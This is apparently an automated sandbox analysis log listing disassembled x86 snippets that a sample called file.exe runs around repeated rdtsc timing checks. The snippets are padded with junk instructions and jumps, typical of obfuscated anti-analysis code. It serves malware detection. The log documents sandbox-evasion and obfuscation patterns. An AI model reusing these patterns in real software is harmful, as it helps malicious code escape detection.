Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FE76 second address: A5FE83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 js 00007FB49551230Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6BC55 second address: A6BC67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB495516616h 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F95E second address: A6F965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F2CE second address: A6F2DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FB495516616h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F2DA second address: A6F2FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FB495512317h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F467 second address: A6F475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007FB495516616h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F475 second address: A6F492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB495512313h 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F492 second address: A6F4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB49551661Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edx 0x0000000d jmp 00007FB49551661Ah 0x00000012 pop edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F4B3 second address: A6F4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F4B9 second address: A6F4F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB495516628h 0x00000009 jmp 00007FB495516627h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D248 second address: A7D24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D24C second address: A7D257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D257 second address: A7D25F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FFC4 second address: A7FFC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FFC8 second address: A7FFCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FFCC second address: A7FFDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FB495516618h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8896E second address: A88989 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB495512315h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88ABD second address: A88AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007FB495516620h 0x0000000c pushad 0x0000000d jmp 00007FB495516628h 0x00000012 jp 00007FB495516616h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88AF5 second address: A88AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88AFB second address: A88B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FB495516618h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007FB49551661Bh 0x00000014 push edx 0x00000015 jnp 00007FB495516616h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88E16 second address: A88E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB49551230Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88E2B second address: A88E36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB495516616h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88E36 second address: A88E3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88FA0 second address: A88FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88FAA second address: A88FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push ebx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop ebx 0x0000000d jmp 00007FB49551230Fh 0x00000012 pushad 0x00000013 jc 00007FB495512306h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88FCF second address: A88FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8910A second address: A89115 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FB495512306h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89115 second address: A89138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB49551661Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007FB495516636h 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007FB495516616h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89138 second address: A8913C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8913C second address: A89145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89145 second address: A8914B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E8FC second address: A8E902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EA5B second address: A8EA87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB49551230Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FB495512317h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EA87 second address: A8EAA7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB495516618h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jp 00007FB495516616h 0x00000015 jp 00007FB495516616h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EAA7 second address: A8EAC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512319h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EAC4 second address: A8EACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EACA second address: A8EACF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A987C7 second address: A987E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551661Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB49551661Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A95FBC second address: A95FC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FB495512306h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6936 second address: AA693C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA693C second address: AA6942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6942 second address: AA694C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB49551661Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9831 second address: AA9840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jp 00007FB49551230Eh 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB06AB second address: AB06AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0992 second address: AB09B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB495512312h 0x0000000b pushad 0x0000000c jnp 00007FB495512306h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0CD7 second address: AB0CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0CE1 second address: AB0D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FB49551230Ah 0x0000000c push eax 0x0000000d pop eax 0x0000000e push edx 0x0000000f pop edx 0x00000010 jnc 00007FB495512308h 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007FB495512315h 0x0000001d ja 00007FB49551231Fh 0x00000023 jmp 00007FB495512319h 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0D35 second address: AB0D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1007 second address: AB100B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB100B second address: AB100F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB100F second address: AB1032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007FB49551230Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007FB495512306h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1032 second address: AB1036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1036 second address: AB103E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB103E second address: AB104E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB495516622h 0x00000008 jo 00007FB495516616h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2A98 second address: AB2ABA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2ABA second address: AB2ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2ABF second address: AB2AD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB495512312h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7051 second address: AB705C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB495516616h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB705C second address: AB7061 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7061 second address: AB7077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FB49551661Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB900D second address: AB9011 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9011 second address: AB9045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jne 00007FB495516616h 0x0000000f jmp 00007FB495516626h 0x00000014 pushad 0x00000015 popad 0x00000016 jo 00007FB495516616h 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9045 second address: AB904D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB904D second address: AB9052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8B00 second address: AB8B2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512312h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FB495512313h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8B2E second address: AB8B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 js 00007FB495516632h 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007FB495516616h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABAC7D second address: ABACBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB495512313h 0x00000009 jmp 00007FB49551230Dh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB495512319h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABACBD second address: ABACC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB08F4 second address: 4DB0950 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 6CF086A5h 0x00000008 pushfd 0x00000009 jmp 00007FB495512312h 0x0000000e sbb ax, A1B8h 0x00000013 jmp 00007FB49551230Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e mov edi, 52DC0DDAh 0x00000023 mov ecx, ebx 0x00000025 popad 0x00000026 xchg eax, ecx 0x00000027 jmp 00007FB49551230Dh 0x0000002c call dword ptr [74E5188Ch] 0x00000032 mov edi, edi 0x00000034 push ebp 0x00000035 mov ebp, esp 0x00000037 push ecx 0x00000038 mov ecx, dword ptr [7FFE0004h] 0x0000003e mov dword ptr [ebp-04h], ecx 0x00000041 cmp ecx, 01000000h 0x00000047 jc 00007FB495543DE5h 0x0000004d mov eax, 7FFE0320h 0x00000052 mov eax, dword ptr [eax] 0x00000054 mul ecx 0x00000056 shrd eax, edx, 00000018h 0x0000005a mov esp, ebp 0x0000005c pop ebp 0x0000005d ret 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FB49551230Dh 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0950 second address: 4DB0975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516621h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB49551661Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0975 second address: 4DB0883 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 mov esi, 3D07DC9Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e ret 0x0000000f nop 0x00000010 xor esi, eax 0x00000012 lea eax, dword ptr [ebp-10h] 0x00000015 push eax 0x00000016 call 00007FB499EBFC74h 0x0000001b mov edi, edi 0x0000001d pushad 0x0000001e call 00007FB49551230Dh 0x00000023 pop ebx 0x00000024 push eax 0x00000025 jmp 00007FB495512313h 0x0000002a pop esi 0x0000002b popad 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FB49551230Bh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0883 second address: 4DB08BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516629h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FB495516623h 0x00000014 movzx esi, dx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9001D second address: 4D90051 instructions: 0x00000000 rdtsc 0x00000002 mov si, F071h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007FB49551230Eh 0x0000000e or ch, 00000048h 0x00000011 jmp 00007FB49551230Bh 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ax, 7B51h 0x00000020 mov ax, 7B8Dh 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90051 second address: 4D90056 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90056 second address: 4D9007A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 311A369Ah 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB495512313h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9007A second address: 4D90097 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516629h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90097 second address: 4D9009D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9009D second address: 4D900A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900A1 second address: 4D900BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov bl, B4h 0x0000000d popad 0x0000000e mov eax, dword ptr fs:[00000030h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900BB second address: 4D900C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900C1 second address: 4D900C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900C7 second address: 4D900CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900CB second address: 4D9016A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b pushad 0x0000000c mov edx, 615FAE86h 0x00000011 pushfd 0x00000012 jmp 00007FB495512317h 0x00000017 and cx, 450Eh 0x0000001c jmp 00007FB495512319h 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ebx 0x00000024 pushad 0x00000025 pushad 0x00000026 movzx ecx, bx 0x00000029 popad 0x0000002a mov ah, F9h 0x0000002c popad 0x0000002d push eax 0x0000002e jmp 00007FB49551230Ch 0x00000033 xchg eax, ebx 0x00000034 pushad 0x00000035 mov edi, eax 0x00000037 pushfd 0x00000038 jmp 00007FB49551230Ah 0x0000003d add cx, 1DE8h 0x00000042 jmp 00007FB49551230Bh 0x00000047 popfd 0x00000048 popad 0x00000049 mov ebx, dword ptr [eax+10h] 0x0000004c pushad 0x0000004d jmp 00007FB495512314h 0x00000052 push eax 0x00000053 push edx 0x00000054 mov ax, AAC7h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9016A second address: 4D9022C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB49551661Ch 0x00000008 sbb ecx, 346ABB78h 0x0000000e jmp 00007FB49551661Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, esi 0x00000018 jmp 00007FB495516626h 0x0000001d push eax 0x0000001e pushad 0x0000001f pushad 0x00000020 call 00007FB495516627h 0x00000025 pop esi 0x00000026 mov bh, 1Bh 0x00000028 popad 0x00000029 push esi 0x0000002a mov bx, 87E4h 0x0000002e pop edi 0x0000002f popad 0x00000030 xchg eax, esi 0x00000031 pushad 0x00000032 mov cl, F0h 0x00000034 call 00007FB49551661Bh 0x00000039 pushfd 0x0000003a jmp 00007FB495516628h 0x0000003f or ax, D9C8h 0x00000044 jmp 00007FB49551661Bh 0x00000049 popfd 0x0000004a pop ecx 0x0000004b popad 0x0000004c mov esi, dword ptr [74E806ECh] 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 call 00007FB495516620h 0x0000005a pop ecx 0x0000005b call 00007FB49551661Bh 0x00000060 pop ecx 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9022C second address: 4D90251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512316h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c push eax 0x0000000d mov bl, A6h 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 mov dl, A9h 0x00000014 rdtsc
